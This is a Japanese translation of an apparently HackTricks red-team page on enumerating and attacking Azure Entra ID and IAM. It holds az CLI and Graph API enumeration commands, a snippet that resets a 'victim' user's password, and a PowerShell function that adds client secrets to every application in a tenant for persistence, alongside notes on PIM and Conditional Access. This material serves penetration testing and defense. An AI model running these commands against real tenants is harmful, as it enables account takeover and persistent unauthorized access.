Az - Entra ID (AzureAD) & Azure IAM

Reading time: 35 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Azure Active Directory (Azure AD) は、Microsoft のクラウドベースのアイデンティティおよびアクセス管理サービスです。これは、従業員がサインインし、Microsoft 365、Azure ポータル、その他の多くの SaaS アプリケーションを含む、組織内外のリソースにアクセスするのを可能にする上で重要です。Azure AD の設計は、認証、承認、およびユーザー管理を主に含む、基本的なアイデンティティサービスを提供することに焦点を当てています。

Azure AD の主な機能には、多要素認証条件付きアクセスが含まれ、他の Microsoft セキュリティサービスとのシームレスな統合が行われています。これらの機能は、ユーザーのアイデンティティのセキュリティを大幅に向上させ、組織がアクセスポリシーを効果的に実施および強制するのを支援します。Microsoft のクラウドサービスエコシステムの基本的なコンポーネントとして、Azure AD はユーザーアイデンティティのクラウドベースの管理において重要です。

列挙

接続

bash
az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity

# Login as service principal
## With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
## With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

AzureにCLIを介してログインするとき、あなたはMicrosoftに属するテナントからのAzureアプリケーションを使用しています。これらのアプリケーションは、あなたのアカウントで作成できるものと同様に、クライアントIDを持っています。コンソールで見ることができる許可されたアプリケーションのリストにはすべて表示されませんが、デフォルトで許可されています

例えば、認証を行うPowerShellスクリプトは、クライアントID**1950a258-227b-4e31-a9cf-717495945fc2を持つアプリを使用します。アプリがコンソールに表示されなくても、システム管理者はそのアプリケーションをブロック**して、ユーザーがそのアプリを介して接続できないようにすることができます。

しかし、Azureに接続を許可する他のクライアントIDのアプリケーションもあります:

bash
# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

テナント

bash
# List tenants
az account tenant list

ユーザー

Entra ID ユーザーに関する詳細情報は、以下を確認してください:

Az - Basic Information

bash
# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all

# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq

ユーザーパスワードの変更

bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA & Conditional Access Policies

すべてのユーザーにMFAを追加することを強く推奨しますが、一部の企業はそれを設定しないか、特定の場所、ブラウザ、またはいくつかの条件からログインした場合にのみMFAを要求するConditional Accessを設定するかもしれません。これらのポリシーは、正しく構成されていない場合、バイパスされる可能性があります。確認してください:

Az - Conditional Access Policies & MFA Bypass

Groups

Entra IDグループに関する詳細情報は、以下を確認してください:

Az - Basic Information

bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>

# To get Entra ID roles assigned check how it's done with users and use a group ID

グループにユーザーを追加

グループのオーナーは新しいユーザーをグループに追加できます

bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

warning

グループは動的であり、基本的にはユーザーが特定の条件を満たすとグループに追加されることを意味します。もちろん、条件がユーザー制御できる属性に基づいている場合、彼はこの機能を悪用して他のグループに入ることができます。
動的グループを悪用する方法については、次のページを確認してください:

Az - Dynamic Groups Privesc

サービスプリンシパル

Entra ID サービスプリンシパルに関する詳細情報は、次を確認してください:

Az - Basic Information

bash
# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine

# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json

warning

サービスプリンシパルのオーナーは、そのパスワードを変更できます。

各エンタープライズアプリにクライアントシークレットを追加しようとするリスト
bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
<#
.SYNOPSIS
Add client secret to the applications.

.PARAMETER GraphToken
Pass the Graph API Token

.EXAMPLE
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
#>

[CmdletBinding()]
param(
[Parameter(Mandatory=$True)]
[String]
$GraphToken = $null
)

$AppList = $null
$AppPassword = $null

# List All the Applications

$Params = @{
"URI"     = "https://graph.microsoft.com/v1.0/applications"
"Method"  = "GET"
"Headers" = @{
"Content-Type"  = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}

try
{
$AppList = Invoke-RestMethod @Params -UseBasicParsing
}
catch
{
}

# Add Password in the Application

if($AppList -ne $null)
{
[System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value)
{
$ID = $App.ID
$psobj = New-Object PSObject

$Params = @{
"URI"     = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
"Method"  = "POST"
"Headers" = @{
"Content-Type"  = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}

$Body = @{
"passwordCredential"= @{
"displayName" = "Password"
}
}

try
{
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
$Details.Add($psobj) | Out-Null
}
catch
{
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
}
}
if($Details -ne $null)
{
Write-Output ""
Write-Output "Client secret added to : "
Write-Output $Details | fl *
}
}
else
{
Write-Output "Failed to Enumerate the Applications."
}
}

アプリケーション

アプリケーションに関する詳細情報は、以下を確認してください:

Az - Basic Information

アプリが生成されると、2種類の権限が付与されます:

  • サービスプリンシパルに与えられる権限
  • ユーザー代理としてアプリが持ち、使用できる権限
bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

warning

AppRoleAssignment.ReadWrite の権限を持つアプリは、役割を自分に付与することで Global Admin昇格 できます。
詳細については こちらを確認してください

note

アプリケーションがトークンを要求する際にそのアイデンティティを証明するために使用する秘密の文字列はアプリケーションパスワードです。
したがって、この パスワード を見つけると、テナント 内の サービスプリンシパル としてアクセスできます。
このパスワードは生成時にのみ表示されることに注意してください(変更することはできますが、再取得することはできません)。
アプリケーション所有者 はそれに パスワード追加 できます(そのため、彼はそれを偽装できます)。
これらのサービスプリンシパルとしてのログインは リスクあり として マークされずMFAありません

一般的に使用される Microsoft のアプリ ID のリストは https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications で見つけることができます。

Managed Identities

Managed Identities についての詳細は以下を確認してください:

Az - Basic Information

bash
# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals

Azure Roles

Azure ロールに関する詳細情報は、以下を確認してください:

Az - Basic Information

bash
# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"

Entra ID ロール

Azure ロールに関する詳細情報は、以下を確認してください:

Az - Basic Information

bash
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"

# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"

# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"

# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"

# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

デバイス

bash
# If you know how to do this send a PR!

warning

デバイス (VM) が AzureAD に参加している 場合、AzureAD のユーザーは ログインできる ようになります。
さらに、ログインしているユーザーがデバイスの 所有者 である場合、彼は ローカル管理者 になります。

管理単位

管理単位に関する詳細情報は、以下を確認してください:

Az - Basic Information

bash
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"

Entra ID 特権昇格

Az - EntraID Privesc

Azure 特権昇格

Az - Azure IAM Privesc (Authorization)

防御メカニズム

特権アイデンティティ管理 (PIM)

Azure の特権アイデンティティ管理 (PIM) は、不必要にユーザーに過剰な特権が付与されるのを防ぐのに役立ちます。

PIM が提供する主な機能の一つは、常にアクティブなプリンシパルにロールを割り当てるのではなく、一定の期間(例:6ヶ月)資格を与えることができる点です。ユーザーがそのロールをアクティブにしたい場合、必要な特権の時間(例:3時間)を示してリクエストを行う必要があります。その後、管理者がリクエストを承認する必要があります。
ユーザーはまた、延長を求めることもできます。

さらに、PIM は特権ロールが誰かに割り当てられるたびにメールを送信します。

PIM が有効になっていると、各ロールに対して次のような特定の要件を設定できます:

  • アクティベーションの最大期間(時間)
  • アクティベーション時に MFA を要求
  • 条件付きアクセス認証コンテキストを要求
  • アクティベーション時に正当化を要求
  • アクティベーション時にチケット情報を要求
  • アクティベートするための承認を要求
  • 資格のある割り当ての最大有効期限
  • 特定のアクションがそのロールで発生したときに通知を送信する際の設定がさらに多く

条件付きアクセス ポリシー

確認:

Az - Conditional Access Policies & MFA Bypass

Entra アイデンティティ保護

Entra アイデンティティ保護は、ユーザーまたはサインインが受け入れられるにはリスクが高すぎる場合を検出するセキュリティサービスで、ユーザーまたはサインインの試行をブロックすることができます。

管理者は、リスクが「低およびそれ以上」、「中程度およびそれ以上」または「高」である場合に試行をブロックするように設定できます。ただし、デフォルトでは完全に無効です:

tip

現在、可能な場合は条件付きアクセス ポリシーを介してこれらの制限を追加することが推奨されています。

Entra パスワード保護

Entra パスワード保護 (https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade) は、複数の不成功なログイン試行が発生した場合にアカウントをロックアウトすることで弱いパスワードの悪用を防ぐセキュリティ機能です。
また、提供する必要があるカスタムパスワードリストを禁止することもできます。

これは、クラウドレベルとオンプレミスの Active Directory の両方に適用できます。

デフォルトモードは監査です:

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする